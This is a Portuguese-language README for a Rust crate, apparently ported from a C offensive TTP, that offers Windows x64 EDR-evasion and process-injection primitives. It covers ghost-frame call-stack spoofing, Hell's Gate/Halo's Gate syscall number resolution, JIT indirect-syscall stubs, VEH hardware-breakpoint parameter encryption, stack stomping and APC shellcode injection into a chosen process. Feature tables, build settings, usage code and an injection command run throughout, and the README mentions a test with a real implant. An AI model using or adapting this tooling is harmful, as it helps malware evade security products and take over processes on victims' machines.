
Crate Rust para falsificação de pilha de chamadas ghost-frame, chamadas de sistema indiretas em tempo de execução e injeção APC no Windows x64. Fornece resolução SSN, emissão de stubs JIT e criptografia de parâmetros baseada em VEH para evasão de EDR.
Ghost-frame spoofing de pilha de chamadas + syscalls indiretos em tempo de execução para Windows x64 — portado para Rust.
Portado de LACUNA Chain (lacuna_chain.c) por Mohamed Alzhrani (0xmaz).
lacuna-rs é uma crate Rust reutilizável que fornece as mesmas primitivas do TTP C original, estruturada para poder ser integrada em qualquer projeto Rust — como wsyscall-rs ou syscalls-rs, mas com resolução de SSN em tempo de execução, direcionamento syscall;ret por função, e spoofing de pilha ghost-frame.
A funcionalidade
stack-spooffalhará silenciosamente se a crate consumidora não for compilada com frame pointers.
As primitivas de stack-stomping em chain.rs localizam o slot de endereço de retorno do chamador via assembly inline mov rbp, {x}. Isso requer que a cadeia RBP esteja intacta. Rust (e a maioria dos compiladores em modo release) omite frame pointers por padrão.
build.rs define force-frame-pointers=yes para a geração de código desta crate, mas o Cargo não pode propagar flags de compilador para crates downstream. Você deve adicionar isso ao seu próprio projeto:
# .cargo/config.toml (in YOUR crate, not in lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
Sem isso, stomp_plant() lerá lixo do RBP e ou não fará nada (melhor caso) ou corromperá a pilha (pior caso). A crate não tem como detectar em tempo de execução se frame pointers estão habilitados — ela simplesmente não funcionará.
Se você precisa apenas das primitivas de scan, resolução de SSN ou injeção (sem stack spoofing), você pode omitir a funcionalidade stack-spoof e este requisito não se aplica.
| Primitiva | Função C | Módulo Rust |
|---|---|---|
| Análise de seção PE + exportação | pe_section(), pe_export() | pe |
Scan de região fantasma .pdata | scan_ghosts(), best_ghost() | scan |
Descoberta de ghost-gadget (jmp [rbx]) | scan_ghost_gadgets() | scan |
Localizador de gap NOP win32u | win32u_nop_gap() | scan |
| Localizador de âncora BYOUD-MF | find_mf_target() | scan |
| Resolução de SSN (Hell's Gate / Halo's Gate) | resolve_ssn() | nt |
Localizador de syscall;ret por função | find_func_syscall() | nt |
| Emissão de stub JIT de syscall indireto | alloc_stub() | stub |
| Redirecionamento de stub ghost-gadget | (em alloc_stub()) | stub |
| VEH + criptografia de parâmetros via hardware breakpoint | param_encrypt_veh(), pcrypt_arm() | veh |
| VEH Chain-guard | chain_veh() | veh |
| Construção da cadeia LACUNA | build_chain() | chain |
| Stack stomp (BYOUD-RT) | stomp_plant(), stomp_restore() | chain |
| Percursor da cadeia (verificação) | lacuna_walk_chain() | chain |
| Injeção APC baseada em seção | do_inject_sapc() | inject |
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
| Funcionalidade | Descrição | Requer frame pointers? |
|---|---|---|
syscalls (padrão) | Resolução de SSN + emissão de stub JIT | Não |
inject (padrão) | Injeção APC baseada em seção (inject::inject_sapc) | Não |
veh | VEH + criptografia de parâmetros via hardware breakpoint | Não |
stack-spoof | Cadeia ghost-frame LACUNA + stack stomp | Sim |
no-std | Modo no_std (experimental) | Não |
Quando nenhuma funcionalidade está habilitada, apenas as camadas de scan/PE/NT estão disponíveis.
cargo run --example scan
cargo run --example verify --features stack-spoof
Exemplo de injeção com implante real - C2 estava offline, mas o Shellcode foi executado
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
Adicione --verbose para habilitar a saída de diagnóstico VEH (dumps de pilha, impressões de registradores):
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
Em vez de enfileirar APCs para cada thread no processo alvo (o que pode causar crash
quando muitas threads são alertadas simultaneamente), inject_sapc
usa um algoritmo de pontuação para selecionar os melhores MAX_APC_THREADS (5) candidatos:
NtQueryInformationThread(ThreadCycleTime) — indicador primário de atividadeNtQueryInformationThread(ThreadTimes) — tempo de kernel + usuárioNtQueryInformationThread(ThreadSuspendCount) — threads não suspensas recebem bônus de +300; threads suspensas recebem -150 por contagem de suspensãoNtQueryInformationThread(ThreadBasicInformation) — threads com prioridade 8-10 recebem bônus de +150; prioridades fora do intervalo recebem penalidade de -100Threads completamente ociosas (zero ciclos e zero tempo de CPU) são ignoradas totalmente. Os candidatos restantes são ordenados por pontuação (maior primeiro, desempate por ciclos) e truncados para os 5 melhores.
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// Scan for ghost regions
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} ghost regions in ntdll", n);
// Resolve SSN + syscall;ret for a specific function
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// Resolve SSN + the function's own syscall;ret address
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// JIT-emit a stub: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (or jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret if build_chain was called)
let stub = stub::make_stub(ssn, syscall_ret).expect("stub alloc failed");
// Cast to the matching function pointer type and call
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
// Scan ntdll/kernelbase/wow64/win32u for ghost regions and construct
// the six-layer fake call stack. Sets G_GHOST_GADGET so stubs route
// through JMP [RBX] in a signed DLL.
lacuna::chain::build_chain();
// Register VEH handlers (param encryption + chain guard)
let _veh = lacuna::veh::VehGuard::register().expect("VEH registration failed");
// Optional: enable verbose diagnostics at runtime
lacuna::veh::set_verbose(true);
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
// Plant ghost frames (replaces return addresses with signed-DLL ghosts)
lacuna::chain::stomp_plant();
// Arm DR0 on the syscall;ret -- VEH will XOR-decrypt params at the boundary
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
// Call through the indirect stub -- RIP lands inside ntdll at kernel entry
let _status = unsafe { open_proc(/* XOR-encrypted params */) };
// Always disarm before any non-protected call
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();